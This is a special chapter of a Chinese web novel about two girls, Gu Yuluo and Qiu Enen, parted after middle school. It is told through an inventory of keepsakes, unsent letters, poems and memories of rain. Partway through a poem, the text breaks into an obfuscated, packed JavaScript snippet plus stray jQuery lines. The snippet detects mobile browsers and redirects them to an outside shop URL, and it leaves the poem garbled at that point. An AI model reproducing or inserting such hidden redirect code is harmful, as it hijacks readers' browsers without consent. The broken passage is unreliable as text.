特别篇：雨的记忆


    物品清单


    1.那本《城南旧事》


    -图书馆编号：A-7-23


    -浅绿色封面，边角磨损


    -借阅卡上最后一个名字：顾雨落（日期：初一上学期，10月）


    -书页第56页夹着一片干枯的梧桐叶，叶脉清晰


    -第78页有铅笔画的云朵，很小，几乎看不见


    -现在还放在秋蒽蒽书架第二层，和其他旧书在一起


    -偶尔翻开，能闻到十五岁那年的雨味


    2.银杏叶书签


    -深蓝色缎面，银线绣回纹


    -中间绣金黄银杏叶，叶脉用更深的金线


    -叶柄处缀浅金色流苏，共27根——顾雨落15岁，秋蒽蒽12岁


    -绣坏过三次，第四次才成功


    -现在夹在顾雨落的法律辞典里，在“离婚诉讼”那一章


    -流苏已经有些褪色，但银杏叶还是金的


    3.墨绿色笔记本


    -深绿色硬壳封面，质感像某种动物的皮毛


    -扉页字迹：给秋蒽蒽：写满它，我陪你。


    -写满了，从初一到初三


    -前三分之二是课堂笔记，后三分之一是观察笔记


    -最后几页是顾雨落写的“对不起”，一共13个


    -现在放在秋蒽蒽编辑部的抽屉里，锁着


    -偶尔打开，薄荷味已经很淡了，但还在


    4.初三合影


    -地点：母校梧桐树下


    -时间：五月初，下午三点


    -阳光很好，肩并着肩，手拉着手


    -顾雨落校服很整齐，秋蒽蒽头发被风吹乱


    -背面字迹：和蒽蒽，永远。（墨迹已淡）


    -顾雨落那张放在铁盒底层，秋蒽蒽那张夹在《城南旧事》里


    -都褪色了，但笑容还在


    5.101张“顺路”的纸条


    -收藏在铁盒里，生锈了


    -材质：课本空白处撕下的纸、作业本边角、便利贴


    -内容：


    -“要一起去小卖部吗？”（第1张）


    -“数学老师今天发型好像蒲公英。”（第23张）


    -“食堂的冬瓜汤咸得能腌咸菜。”（第47张）


    -“看那片叶子在抖。”（第68张）


    -“雨声让人心里很静。”（第89张）


    -“明天见。”（第101张）


    -每张都有日期，从初一到初三


    -现在在顾雨落的铁盒里，十五年没打开过


    未寄出的信（顾雨落部分草稿）


    第一封（火车上，夜里）


    蒽蒽，火车开了。窗外很黑，只能看见自己的倒影。成都很远，要坐28个小时。妈妈睡了，我在写这封信。不知道能不能寄出去，也不知道寄到哪里。算了，不寄了。


    第十三封（到成都一个月后）


    今天在成都的学校看到一棵梧桐树，没家乡的高。下雨了，成都的雨很急，不像我们那里的雨，绵绵的。想起你说“雨声让人心里很静”，但这里的雨声很吵。你在干什么？中考复习很累吧？对不起。


    第二十七封（高一暑假）


    收到一中的录取通知书了吗？我收到了，成都这边的重点高中。但没去，妈妈让读另一所，可以住校。也好，清净。有时候会想，如果我们都考上了一中，现在是不是还坐在一起？算了，不想了。


    最后一封（大四毕业前）


    蒽蒽，我要当律师了。实习的第一个案子是离婚诉讼，夫妻争一套老房子，很像……很像我家当年。在法庭上，妻子一直在哭，我忽然想起妈妈。也想起你。十年了，你过得好吗？还在写东西吗？对不起，还有，谢谢。这封信，还是不寄了。


    实际寄出的信（初三，放在课桌里的）


    蒽蒽，对不起。


    妈妈突然要带我回四川老家，今天就走。


    一中……你要加油。


    雨落。


    三行，二十七个字。用薄荷味的钢笔写的，信纸是浅蓝色的，和那本淡紫色的观察笔记一个颜色。装进浅蓝色信封，放在牛皮纸盒里，和《城南旧事》、墨绿色笔记本一起，留在秋蒽蒽的课桌抽屉里。


    后来，秋蒽蒽把这张信纸对折，再对折，折成小小的方形，放进那个生锈的铁盒里，和101张纸条放在一起。十五年，没打开过。


    秋蒽蒽的诗歌片段


    初一（写在家里的旧作业本上）


    雨是天空写给大地的长信


    我们是信里相遇的标点


    你是逗号，我是句号


    中间隔着其他文字


    但都在同一行


    初二（写在墨绿色笔记本扉页）


    并肩走过落叶铺成的路


    以为这就是永远的长度


    直到秋风起


    叶子分飞


    才知道永远只是


    从这棵树到那棵树的距离


    初三之后


    （空白。笔记本空了三页，然后开始记数学公式。）


    二十五岁（写在编辑部的便签上，后扔掉）


    雨停时


    我才学会


    如何不被淋湿地


    想念一场雨


    如何用干燥的词语


    描述湿润的记忆


    如何在没有你的句子里


    藏一个“你”


    三十岁（未写完，存在电脑草稿箱）


    十五年


    足够一场雨下成海


    足够一棵树长老


    足够一个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554071|204347||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人学会


    如何与潮湿共生


    如何用晒干的回忆


    泡一杯茉莉花茶


    在雨停后的早晨


    慢慢地喝


    不品它的苦


    只闻它的香


    然后对自己说


    看


    天亮了


    雨停了


    茶还温着


    而你


    终于学会了


    如何


    不忘记


    但继续


    雨声档案


    初一：图书馆窗外的雨，打在梧桐叶上，沙沙响。顾雨落说：“雨声让人心里很静。”秋蒽蒽在笔记本上记下这句话，旁边画一朵云。


    初二：天台上的雨，突然而来，无处可躲。挤在屋檐下，肩膀挨着肩膀。“初中三年都要当同桌，好不好？”“好。”拉钩。雨下了一整晚。


    初三：办公室外的雨，淅淅沥沥。听见顾雨落说：“我爸妈可能来不了家长会。”然后看见她跑进雨里，没打伞，背影湿透。


    中考那天：考场窗外的雨，绵长不绝。作文题目《约定》，秋蒽蒽交了白卷。雨声很大，但心里很静，像一切都结束了。


    成都的雨：骤然的，暴烈的，噼里啪啦像炒豆子。顾雨落站在窗边看，觉得吵，不静。想起家乡的雨，绵绵的，黏稠的，像眼泪。


    二十五岁的雨：办公室落地窗外的雨，成年人的雨，冷的，沉的，不管不顾。编辑着青春爱情故事，写“像想起一场下在很久以前的、很温柔的雨”。自己笑，成年人的雨，不温柔。


    三十岁的雨：同学会那天的雨，黏稠的，闷热的。都没去。在不同的城市，不同的窗边，看同一场雨。然后雨停，天光，茶温，继续。


    最后一场雨的声音


    顾雨落听到的：


    -雨点砸在空调外机上，噼啪


    -远处夜归人的脚步，湿漉漉


    -自己的心跳，在突然的寂静里，怦，怦


    -然后，打字声：雨停了。


    -发送。没有回音。但说了，就够了。


    秋蒽蒽听到的：


    -雨点打在老屋瓦片上，闷响


    -外婆在隔壁的呼吸，艰难但平稳


    -电脑风扇的嗡鸣，轻微


    -手机震动，屏幕亮：雨停了。


    -来自顾雨落。十五年，第一条消息。


    -没回。但看了，就够了。


    然后，雨真的停了。


    天亮了。


    茶泡好了。


    工作要继续。


    生活要继续。


    记忆，也继续。


    湿漉漉的，黏稠的，但至少还有一点点光的，继续。


    在这片雨停后的、干净的、崭新的、但心里某个角落永远湿漉漉的、天光里。


    继续。